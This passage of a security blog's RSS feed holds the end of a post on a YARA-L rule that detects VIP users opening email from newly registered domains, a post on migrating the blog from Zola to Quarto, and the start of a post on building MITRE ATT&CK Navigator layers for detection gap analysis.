<span id="cb2-4">    description <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"A VIP user opened an email from a newly registered domain (created &lt; 180 days ago), which may indicate a spear phishing attempt"</span></span>
<span id="cb2-5">    severity <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"medium"</span></span>
<span id="cb2-6">    maturity <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"initial"</span></span>
<span id="cb2-7">    mitre <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"T1566:TA0001"</span></span>
<span id="cb2-8">    reference_1 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"https://github.com/chronicle/detection-rules/blob/main/rules/community/threat_intel/whois_recently_created_domain_access.yaral"</span></span>
<span id="cb2-9">    reference_2 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"https://support.google.com/a/answer/12384955"</span></span>
<span id="cb2-10"></span>
<span id="cb2-11">  events<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span></span>
<span id="cb2-12">    $mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>metadata<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>event_type <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"EMAIL_TRANSACTION"</span></span>
<span id="cb2-13">    $mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>metadata<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>product_event_type <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"2"</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// message was opened</span></span>
<span id="cb2-14">    strings<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>extract_domain<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>$mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>network<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>email<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>from<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> $domain</span>
<span id="cb2-15">    not $domain in <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">%</span>trusted_domains<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>domain</span>
<span id="cb2-16">    $mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>principal<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>user<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>userid in <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">%</span>vips<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>username</span>
<span id="cb2-17"></span>
<span id="cb2-18">    $whois<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>graph<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>entity<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>domain<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>name <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> $domain</span>
<span id="cb2-19">    $whois<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>graph<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>metadata<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>entity_type <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"DOMAIN_NAME"</span></span>
<span id="cb2-20">    $whois<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>graph<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>metadata<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>vendor_name <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"WHOIS"</span></span>
<span id="cb2-21">    $whois<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>graph<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>metadata<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>product_name <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"WHOISXMLAPI Simple Whois"</span></span>
<span id="cb2-22">    $whois<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>graph<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>metadata<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>source_type <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"GLOBAL_CONTEXT"</span></span>
<span id="cb2-23">    $whois<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>graph<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>entity<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>domain<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>creation_time<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>seconds <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span></span>
<span id="cb2-24"></span>
<span id="cb2-25">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// domain was created in the last 180 days: 180 * 24 * 60 * 60 = 15552000 seconds</span></span>
<span id="cb2-26">    <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">15552000</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> timestamp<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>current_seconds<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">()</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> $whois<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>graph<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>entity<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>domain<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>creation_time<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>seconds</span>
<span id="cb2-27"></span>
<span id="cb2-28">  match<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span></span>
<span id="cb2-29">    $domain over <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">h</span></span>
<span id="cb2-30"></span>
<span id="cb2-31">  outcome<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span></span>
<span id="cb2-32">    $risk_score <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">50</span></span>
<span id="cb2-33">    $created_at <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> array_distinct<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>timestamp<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>get_date<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>$whois<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>graph<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>entity<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>domain<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>creation_time<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>seconds<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">))</span></span>
<span id="cb2-34">    $sender <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> array_distinct<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>$mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>network<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>email<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>from<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb2-35">    $recipients <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> array_distinct<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>$mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>network<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>email<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>to<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb2-36">    $num_messages <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> count<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>$mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>network<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>email<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>mail_id<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb2-37">    $num_attachments <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> array_distinct<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>$mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>additional<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>fields<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"num_message_attachments"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])</span></span>
<span id="cb2-38">    $dkim <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> array_distinct<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>$mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>additional<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>fields<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"dkim_pass"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])</span></span>
<span id="cb2-39">    $spf <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> array_distinct<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>$mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>additional<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>fields<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"spf_pass"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])</span></span>
<span id="cb2-40"></span>
<span id="cb2-41">  condition<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span></span>
<span id="cb2-42">    $mail and $whois</span>
<span id="cb2-43"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
</section>
<section id="conclusion" class="level2">
<h2 class="anchored" data-anchor-id="conclusion">Conclusion</h2>
<p>By applying this granular and contextual approach, your detection strategy moves past simply monitoring “newness” and focuses on <strong>behavior in the most critical attack vectors</strong>. This shift is essential for reducing analyst fatigue and ensuring that high-risk events (like spear-phishing against VIPs) trigger alerts immediately, regardless of organization-wide volume. Invest in granularity, and you will see a significant increase in your true positive rate. 🎯</p>


</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2026,
  author = {Lopes, Joe},
  title = {High-Fidelity {NRD} {Detections}},
  date = {2026-01-20},
  url = {https://lopes.id/log/high-fidelity-nrd-detections/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2026" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2026. <span>“High-Fidelity NRD Detections.”</span> January
20. <a href="https://lopes.id/log/high-fidelity-nrd-detections/">https://lopes.id/log/high-fidelity-nrd-detections/</a>.
</div></div></section></div> ]]></description>
  <category>detection</category>
  <guid>https://lopes.id/log/high-fidelity-nrd-detections/</guid>
  <pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/high-fidelity-nrd-detections/og-high-fidelity-nrd-detections.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>Why I Switched to Quarto</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/migrating-to-quarto/</link>
  <description><![CDATA[ 






<p><a href="https://www.getzola.org/">Zola</a> powered this blog from its inception in 2020, and it served me well. However, in late 2025, I discovered an alternative that appeared more compelling: <a href="https://quarto.org/">Quarto</a>. After some research and testing, I decided to migrate from Zola to Quarto, using the slow down before the new year to execute the most significant infrastructure change this site has undergone. In this post, I explain my motivations and detail the overall migration process.</p>
<section id="zola-a-fast-static-site-generator" class="level2">
<h2 class="anchored" data-anchor-id="zola-a-fast-static-site-generator">Zola: A Fast Static Site Generator</h2>
<p><strong>Zola</strong> is renowned for its speed and ease of deployment. Written in Rust, it is blazing fast—able to build my repository of nearly 80 posts almost instantaneously. After running <code>zola serve</code>, a version of my site was immediately available at <code>localhost:1111</code> for review. The installation process is equally excellent: as a single ~15 MB binary, it is simply a matter of downloading the file, adding it to the system path, and <em>voilà</em>: job done.</p>
<p>My journey with Zola is partially documented on this blog. In my <a href="../../log/zola-static-sites-tutorial/">debut post here</a>, I shared how to get started with the framework. However, after establishing a working version of the site, I noticed theme options were limited compared to Hugo, one of the most popular static site generators (SSGs). This limitation inspired me to create my own theme, <a href="https://github.com/lopes/zola.386">ZOLA.386</a>, which evoked memories of Saturday afternoons setting up MS-DOS games with my father.</p>
<p>As time passed, I desired a darker aesthetic, leading to a transition that culminated in <a href="https://github.com/st1020/kita">Kita</a>. This theme supported the blog for the majority of its life, and I credit the developers for its quality and feature set. With Kita, I realized a long-standing goal: implementing “blog as code,” featuring advanced visual elements like diagrams, equations, and callouts defined as text rather than static images.</p>
<p>Later, Kita introduced support for <a href="https://ogp.me/">Open Graph</a> images. Coinciding with the rise of AI-generated imagery, I adopted custom images to represent my posts. The response was excellent; several readers praised the blog’s style, and some reached out for tips on using Kita. It was a genuine success.</p>
</section>
<section id="quarto-scientific-and-technical-publishing" class="level2">
<h2 class="anchored" data-anchor-id="quarto-scientific-and-technical-publishing">Quarto: Scientific and Technical Publishing</h2>
<p><strong>Quarto</strong> is similar to Zola in that it is a static site generator, but it offers a broader feature set. Built on <a href="https://pandoc.org/">Pandoc</a>, a universal document converter, Quarto is more than just a site builder. As its documentation suggests, Quarto is designed for scientists and engineers to easily create and share technical content.</p>
<p>Crucially, Quarto can leverage <a href="https://jupyter.org/">Jupyter</a> notebooks to facilitate interactive posts, allowing projects to be published directly from the notebook environment.</p>
<p>Quarto utilizes a Markdown dialect that provides robust functionality out of the box, such as footnotes, callouts, <a href="https://mermaid.js.org/">Mermaid</a> diagrams, and LaTeX snippets. While I previously relied on the Kita theme to implement these features in Zola, Quarto handles them natively. Furthermore, the notation is often simpler and more intuitive.</p>
<p>Quarto also provides excellent JavaScript interactivity by default. With a simple setup, I can enable users to search, sort, or filter posts. From an SEO perspective, the generator implements best practices automatically, including Twitter cards and Open Graph metadata.</p>
<p>This versatility was the primary driver behind the migration.</p>
</section>
<section id="migration" class="level2">
<h2 class="anchored" data-anchor-id="migration">Migration</h2>
<p>I used this migration as an opportunity to refine several elements I had built over time, aiming for a more unified vision for the project. This refinement consumed some time<sup>1</sup>, though it was not strictly related to Quarto itself. Once implementation began, I discovered that Quarto can be both incredibly easy and occasionally frustrating. While configuration via <code>_quarto.yml</code> is straightforward, the documentation contains gaps that can lead to confusion.</p>
<p>I initially selected the <a href="https://bootswatch.com/cosmo/">Cosmo</a> theme because the preview on Bootswatch offered both light and dark versions, a feature I wanted to retain from Kita. However, I quickly realized that although Quarto implements Bootstrap themes, the integration is not seamless. Standard Bootstrap themes use the HTML <code>data-bs-theme</code> property to toggle versions, but Quarto uses a different system that overrides this, effectively forcing the user to define two separate themes.</p>
<p>The upside of this hurdle was that it compelled me to conduct deeper research. Eventually, I discovered the <a href="https://blog.djnavarro.net/">Notes from a Data Witch</a> blog and fell in love with the theme. Fortunately, the author shares the source code on GitHub, allowing me to study and adapt it into my own style: the <strong>Vigil theme</strong>.</p>
<p>Beyond theming, the bulk of the work involved string substitutions, regex operations, and shell scripts to migrate my post library. I then proceeded with manual adjustments to fine-tune specific posts. The next major step was recreating the Open Graph images to follow best practices; I also decided to switch to the <a href="https://developers.google.com/speed/webp">WebP</a> format for faster load times.</p>
<p>To wrap everything up, I reconfigured the CI/CD scripts on GitHub to perform automated checks and deployments.</p>
</section>
<section id="ai-support" class="level2">
<h2 class="anchored" data-anchor-id="ai-support">AI Support</h2>
<p>Unlike previous migrations, I utilized AI to assist with this process, and I have mixed feelings about the experience. In some areas, it excelled: it was a massive help in customizing the theme, creating the new logo, and generating code snippets. Conversely, it occasionally provided incorrect guidance; for instance, it suggested blurring Open Graph images only to contradict itself later, resulting in wasted time and frustration. It also tended to “hallucinate” Quarto properties that do not exist rather than admitting a lack of knowledge.</p>
<p>Overall, the result was positive, but there is clear room for improvement in current LLM capabilities. Without real-world examples to reference or my own engineering experience to guide the process, I would likely still be struggling to switch the Cosmo theme to its dark version.</p>
</section>
<section id="final-thoughts" class="level2">
<h2 class="anchored" data-anchor-id="final-thoughts">Final Thoughts</h2>
<p>While I acknowledge Zola’s performance and remain grateful for it, I am very satisfied with Quarto thus far. The deployment time is admittedly much longer now, taking over a minute to build the site from scratch. However, since I do not deploy constantly, this is an acceptable trade-off.</p>
<p>This experience reinforced the value of open-source software, and I have decided to open-source <a href="https://github.com/lopes/lopes-logbook">this blog’s repository</a> 🔗 so others in the Quarto community can benefit from it. 🤲🏻</p>
<p>I look forward to exploring more of Quarto’s features and am confident that this site now possesses a strong foundation for the future.</p>


</section>


<div id="quarto-appendix" class="default"><section id="footnotes" class="footnotes footnotes-end-of-document"><h2 class="anchored quarto-appendix-heading">Footnotes</h2>

<ol>
<li id="fn1"><p>The entire migration took approximately 1.5 weeks.↩︎</p></li>
</ol>
</section><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2026,
  author = {Lopes, Joe},
  title = {Why {I} {Switched} to {Quarto}},
  date = {2026-01-06},
  url = {https://lopes.id/log/migrating-to-quarto/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2026" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2026. <span>“Why I Switched to Quarto.”</span> January 6. <a href="https://lopes.id/log/migrating-to-quarto/">https://lopes.id/log/migrating-to-quarto/</a>.
</div></div></section></div> ]]></description>
  <category>random</category>
  <guid>https://lopes.id/log/migrating-to-quarto/</guid>
  <pubDate>Tue, 06 Jan 2026 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/migrating-to-quarto/og-migrating-to-quarto.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>Gap Analysis with MITRE Navigator</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/gap-analysis-mitre-navigator/</link>
  <description><![CDATA[ 






<p><strong>MITRE ATT&amp;CK</strong> is a common reference for classifying detection rules. But mapping rules to ATT&amp;CK techniques only provides real value when we go beyond taxonomy and actually use the data to drive action. <strong>Context is key:</strong> an ATT&amp;CK map without interpretation is just a colored matrix. That’s where <strong>automation</strong>, <strong>enrichment</strong>, and tools like <strong>MITRE Navigator</strong> come in. Navigator lets you visualize your ATT&amp;CK coverage, compare multiple rules, and spot detection gaps at a glance.</p>
<p>This post breaks down how to programmatically generate Navigator layers, explains their JSON structure, and shows how to combine them for a richer, more actionable gap analysis.</p>
<section id="what-is-mitre-navigator" class="level2">
<h2 class="anchored" data-anchor-id="what-is-mitre-navigator">What is MITRE Navigator?</h2>
<p><a href="https://mitre-attack.github.io/attack-navigator/">MITRE Navigator</a> 🧭 is a web-based tool for annotating and exploring ATT&amp;CK matrices. It allows you to:</p>
<ul>
<li>Group technique mappings into <strong>layers</strong>, then overlay them for comparative analysis.</li>
<li>Visualize <strong>strengths and weaknesses</strong> in your detection landscape.</li>
<li>Compare <strong>defensive coverage</strong> (e.g., from your SIEM or EDR) against <strong>adversary behavior</strong> (e.g., from CTI reports).</li>
</ul>
<p>A classic use case is to generate one layer for your SIEM detections and another for the techniques used by a tracked APT. Overlaying them immediately reveals where the adversary operates and how your defenses stack up.</p>
</section>
<section id="understanding-navigator-layers" class="level2">
<h2 class="anchored" data-anchor-id="understanding-navigator-layers">Understanding Navigator Layers</h2>
<p>In MITRE Navigator, layers are <strong>JSON documents</strong> that follow a specific schema—see <a href="https://github.com/mitre-attack/attack-navigator/tree/master/layers">Navigator’s repository</a> on GitHub. Their behavior depends on three versioning components:</p>
<ul>
<li><strong>ATT&amp;CK version:</strong> The <a href="https://github.com/mitre-attack/attack-stix-data/tree/master/enterprise-attack">matrix</a> to plot (e.g., <code>18.1</code>).</li>
<li><strong>Navigator version:</strong> The <a href="https://github.com/mitre-attack/attack-navigator/releases">software</a> that will render the layer (e.g., <code>5.2.0</code>).</li>
<li><strong>Layer version:</strong> The JSON <a href="https://github.com/mitre-attack/attack-navigator/tree/master/layers/spec">schema</a> itself (e.g., <code>4.5</code>).</li>
</ul>
<p>A layer has two main parts:</p>
<ol type="1">
<li><strong>Root-level configuration:</strong> Defines the layer’s appearance and behavior, like name, description, filters, layout, color gradients.</li>
<li><strong>Technique entries:</strong> An array of objects, each defining per-technique attributes like <code>score</code>, <code>metadata</code>, <code>links</code>, and an optional <code>tactic</code>.</li>
</ol>
<section id="quirks-and-gotchas" class="level3">
<h3 class="anchored" data-anchor-id="quirks-and-gotchas">Quirks and Gotchas</h3>
<ul>
<li>Techniques are declared by <strong>ID</strong> (e.g., <code>T1078</code>).</li>
<li>Tactics are declared by <strong>shortname</strong> (e.g., <code>initial-access</code>), <strong>not</strong> by tactic ID. 👀 This is a common source of confusion.</li>
<li>Technique entries can be repeated if you want the same technique to appear tied to different tactics—useful when a detection only applies in specific tactics.</li>
<li>If a technique entry omits <code>tactic</code>, Navigator marks that technique across all tactics where it appears—this behavior is controlled by the <code>selectTechniquesAcrossTactics</code> setting.</li>
</ul>
</section>
<section id="mapping-tactic-ids-to-shortnames" class="level3">
<h3 class="anchored" data-anchor-id="mapping-tactic-ids-to-shortnames">Mapping Tactic IDs to Shortnames</h3>
<p>To build layers programmatically, you’ll likely need to map ATT&amp;CK Tactic IDs to their required shortnames. You can extract this from the official <a href="https://github.com/mitre-attack/attack-stix-data">ATT&amp;CK STIX data</a>. For example, this <code>jq</code> command parses the Enterprise STIX file to produce a list of active tactics and their shortnames:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb1-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">jq</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-r</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'</span></span>
<span id="cb1-2"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">  .objects[] |</span></span>
<span id="cb1-3"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">  select(</span></span>
<span id="cb1-4"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">    .type == "x-mitre-tactic"</span></span>
<span id="cb1-5"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">    and .x_mitre_deprecated == false</span></span>
<span id="cb1-6"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">  ) |</span></span>
<span id="cb1-7"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">  (</span></span>
<span id="cb1-8"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">    .external_references[0].external_id</span></span>
<span id="cb1-9"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">    + ": "</span></span>
<span id="cb1-10"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">    + .x_mitre_shortname</span></span>
<span id="cb1-11"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">  )</span></span>
<span id="cb1-12"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'</span> enterprise-attack-18.1.json <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">|</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb1-13"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">sort</span></span></code></pre></div></div>
<p>The output helps you build a dictionary from tactic <strong>ID</strong> to <strong>shortname</strong>. Your automation will likely start with IDs and must translate them to shortnames for the <code>tactic</code> field in a technique entry.</p>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>The following sections will describe important sections and fields in a MITRE Navigator layer structure. If you’re anxious, find a full example of it in the Automation section.</p>
</div>
</div>
</section>
</section>
<section id="layer-configuration-the-root-object" class="level2">
<h2 class="anchored" data-anchor-id="layer-configuration-the-root-object">Layer Configuration (The Root Object)</h2>
<p>This is where you control the layer’s look and feel: header visibility, UI layout, sub-technique expansion, color gradients, and platform filters. Common options include:</p>
<ul>
<li><code>versions</code>: Specifies the ATT&amp;CK, Navigator, and layer schema versions the file targets.</li>
<li><code>filters.platforms</code>: Narrows the layer to specific platforms (e.g., Windows, Linux, SaaS).</li>
<li><code>layout</code>: Controls the layout style, visibility of names/IDs, and score aggregation.</li>
<li><code>gradient</code>: Defines the color stops and the <code>minValue</code>/<code>maxValue</code> that the score maps to.</li>
</ul>
<p>Consistent root-level settings are key to making your exported layers readable and uniform.</p>
</section>
<section id="technique-configuration-the-heart-of-the-data" class="level2">
<h2 class="anchored" data-anchor-id="technique-configuration-the-heart-of-the-data">Technique Configuration (The Heart of the Data)</h2>
<p>The <code>techniques</code> array is what turns raw data into actionable intelligence. Each object in the array corresponds to a specific detection-to-technique mapping and should include enough context to be useful, like rule name, maturity score, description, a link to the detection-as-code, owner, and test status.</p>
<p>If a single detection rule maps to multiple techniques, create a distinct technique object in this array for each one. This pattern keeps traceability clear: from any cell in Navigator, an analyst can click through to the detection’s code, review its maturity, see the owner, and prioritize engineering work accordingly.</p>
<section id="key-technique-fields" class="level3">
<h3 class="anchored" data-anchor-id="key-technique-fields">Key Technique Fields</h3>
<p>These fields add context to the matrix, fostering better analysis. It’s worth the effort to populate them with rich information.</p>
<ul>
<li><code>techniqueID</code> (string): The ATT&amp;CK ID, e.g., <code>T1078</code>.</li>
<li><code>tactic</code> (string, optional): The tactic shortname (e.g., <code>initial-access</code>) if the detection is tactic-specific.</li>
<li><code>score</code> (integer): A value representing detection maturity or confidence, which maps to the layer’s gradient. I recommend a consistent scale like <code>1-5</code> or <code>1-100</code>.</li>
<li><code>comment</code> (string): A short label, typically the rule name.</li>
